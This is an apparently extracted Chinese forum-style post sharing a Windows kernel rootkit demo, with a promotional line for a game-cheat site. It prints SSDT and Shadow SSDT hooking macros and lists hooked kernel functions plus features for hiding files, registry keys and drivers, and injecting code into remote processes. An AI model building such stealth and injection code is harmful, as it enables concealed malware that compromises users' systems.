分享比较完整的ROOTKIT DEMO! 原来Shadow Hook和SSDT Hook一样容易！.pdfVIP

分享比较完整的ROOTKIT DEMO! 原来Shadow Hook和SSDT Hook一样容易！ 学习各种高级外挂制作技术，马上去百度搜索 魔鬼作坊，点击第一个站进入， 快速成为做挂达人。 这里写的ROOTKIT比较简单(有些代码是消化别人的代码后改写过来的)，高手跳过 包含以下内容：(详细请看源代码) SSDT Hook //hooksystem call #define HOOK_SYSCALL(FuncName,pHookFunc,pOrigFunc ) \ pOrigFunc = (PVOID)InterlockedExchange(\ (PLONG)MappedSystemCallTable[SYSCALL_INDEX(FuncName)],\ (LONG)pHookFunc) //unhooksystem call #define UNHOOK_SYSCALL(FuncName,pHookFunc,pOrigFunc )\ InterlockedExchange(\ (PLONG)MappedSystemCallTable[SYSCALL_INDEX(FuncName)],\ (LONG)pOrigFunc) SSDTHOOK 了如下函数： ZwQueryValueKey ZwEnumerateValueKey ZwQueryDirectoryFile ZwOpenProcess ZwDeleteKey ZwDeleteValueKey ZwSaveKey ZwLoadDriver ZwSetSystemInformation ZwTerminateProcess Shadow Hook 仿照SSDTHOOK，下面定义两个宏，让ShadowHook 和SSDTHook 一样简单! //hookshadow systemcall #define HOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc,pOrigFunc )\ pOrigFunc = (PVOID)InterlockedExchange(\ (PLONG)MappedSystemCallTable[(SysCallIndex) ],\ (LONG)pHookFunc) //unhookshadow systemcall #define UNHOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc,pOrigFunc )\ InterlockedExchange(\ (PLONG)MappedSystemCallTable[(SysCallIndex) ],\ (LONG)pOrigFunc) 上周一接到腾讯的电话面试，由于有一段时间没研究HOOK 了，问到Shadow Hook 时没回 答好！汗！ 现在把Shadow Hook 重新整理了一下！ Shadow Hook 了如下函数，程序框架比较好，容易加入新挂钩函数 NtUserFindWindowEx NtUserGetForegroundWindow NtUserQueryWindow NtUserBuildHwndList NtUserWindowFromPoint NtUserSetWindowsHookEx NtUserGetDC NtUserGetDCEx NtUserSendInput 为了保护进程，研究了终止进程的方法 WINDOWS 内核定时器 老土的文件/目录隐藏 注册表键值隐藏 驱动隐藏 系统线程 IRP文件操作 多种加载内核级ROOTKIT方法 Ring3 中恢复SSDT(ZwSystemDebugControl) 从资源释放文件 远程进程注入 消息钩子注入DLL 查找窗口 查找进程 注意：不要随便运行程序，最好在虚拟机下运行！此程序仅供学习WINDOWS内核驱动编程用！ 在自己的ntddk.h中的结构IO_STACK_LOCATION添加如下代码才能顺利通过编译: //ParametersforIRP_MJ_DIRECTORY_CONTROL struct{ ULONG Length; PUNICODE_STRING FileName; FILE_INFORMATION